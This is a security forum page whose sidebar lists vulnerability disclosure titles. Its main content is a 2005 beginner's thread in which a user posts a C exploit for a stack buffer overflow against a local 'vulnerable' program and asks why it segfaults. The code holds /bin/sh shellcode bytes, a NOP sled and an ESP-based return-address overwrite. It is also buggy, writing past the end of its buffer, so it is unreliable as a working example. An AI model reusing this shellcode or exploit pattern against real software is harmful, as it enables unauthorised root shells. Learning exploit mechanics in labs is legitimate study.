Login or Register :: Home :: Search :: Your Account :: Forums :: Waraxe Advisories :: Tools :: October 21, 2026 Menu Home Logout Discussions Forums Members List IRC chat Tools Base64 coder MD5 hash CRC32 checksum ROT13 coder SHA-1 hash URL-decoder Sql Char Encoder Affiliates y3dips ITsec Md5 Cracker User Manuals AlbumNow Content Content Sections FAQ Top Info Feedback Recommend Us Search Journal Your Account User Info Welcome, Anonymous Nickname Password (Register) Membership: Latest: MichaelSnaRe New Today: 0 New Yesterday: 0 Overall: 9144 People Online: Visitors: 439 Members: 0 Total: 439 Full disclosure [0day-rubbish] TRENDnet TV-IP302PI firmware 1.02.38 authenticated NTP server-address OS command injection to root command execution via a shell-form system() call (7.2 High, PR:H) [0day-rubbish] Royal Render 9.1.26b: default-unauthenticated job submission on rrServer TCP 7773 reaches worker-side shell execution as the worker identity, measured root (8.1 High) [0day-rubbish] ProSoft Technology RLX-IFH24E v2.2.44 unsigned firmware upgrade package to root command execution and full account-database overwrite (7.2) [0day-rubbish] Parasoft Continuous Testing Platform 10.7.5-SNAPSHOT anonymous deserialization in the database restore path to JSP command execution as uid=1000 (9.8) [0day-rubbish] Exasol Database 7.1.30 docker-db form: shipped default SYS credential to PYTHON3 UDF os.popen command execution as uid=500(exadefusr), output returned in-band (8.8) [0day-rubbish] Edimax BR-6478AC firmware v2.20 authenticated command injection in the setWAN WAN-configuration handler, root command execution (7.2) [0day-rubbish] Edimax BR-6478AC firmware v2.20 authenticated command injection in the formWlanMP manufacturing-test handler, root command execution (7.2) [ROOTEDCON] Call for Papers 2027 · RootedCON2027 (Madrid) VestaCP <= 0.9.8-26: authenticated config-parser eval sinks ->root RCE (VESTACP-2026-001) [SYSS-2026-080]: dcm4che - Path Traversal (CWE-22) [SYSS-2026-079]: dcm4che - Path Traversal (CWE-22) [SYSS-2026-078]: dcm4che - Path Traversal (CWE-22) [SYSS-2026-077]: dcm4che - Path Traversal (CWE-22) [0day-rubbish] Synametrics Syncrify 6.2 build 1178 authenticated PublicLink chunk-upload path traversal to /etc/cron.d and root command execution (7.5) [0day-rubbish] South River Technologies Titan MFT Server 26.0.0 first-run administrator setup chained to job post-command injection, NT AUTHORITY\SYSTEM (8.1) IT Security and Insecurity Portal www.waraxe.us Forum Index -> Newbies corner -> Writing buffer overflows - new to the compsec thing View previous topic :: View next topic Writing buffer overflows - new to the compsec thing Posted: Tue Oct 11, 2005 4:38 pm bej Beginner Joined: Oct 11, 2005 Posts: 3 Hello, I'm trying to write an exploit for a particular software. As usual, I'm having trouble. I've read a few documents on BOs and absorbed the information fairly well. However, I'm still having some trouble. Let me give you some background: Platform is Linux x86. The buffer is an array of 20 chars. EIP is 28 bytes away. ESP is at 0xbffff6f4. Here's my code. I probably don't fully understand this. If so, please correct me. Code: #define NOP '\x90' #define EXIT 0 typedef unsigned long ulong; char shellcode[] = "\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80"; ulong getesp(void) { asm("movl %esp, %eax"); } int main() { int i; char buff[52], *ptr; long *ptr2; ulong esp = getesp(); ptr2 = buff; ptr = (long *) ptr2; for (i = 0; i < 51; i++) { *(ptr2++) = esp; } /* segfault around here */ for (i = 0; i < (sizeof(buff) - strlen(shellcode) - 1); i++) { buff[i] = NOP; } /* segfault around here */ for (i=0; i < strlen(shellcode); i++) { *(ptr++) = shellcode[i]; } buff[52] = 0; printf("gogogo!\n"); execl("./vulnerable", "vulnerable", buff, 0); return (EXIT); } Posted: Wed Oct 19, 2005 3:59 pm bej Beginner Joined: Oct 11, 2005 Posts: 3 Please? I modified a portion of the code that I thought was incorrect. Now it segfaults in a different part: Code: for (i = 0; i < (sizeof(buff) - strlen(shellcode) - 1 - sizeof(esp)); i++) { buff[i] = NOP; } I may have been overwriting the return address with NOPs, right? I'm very confused. I'm using Aleph1's method, btw. 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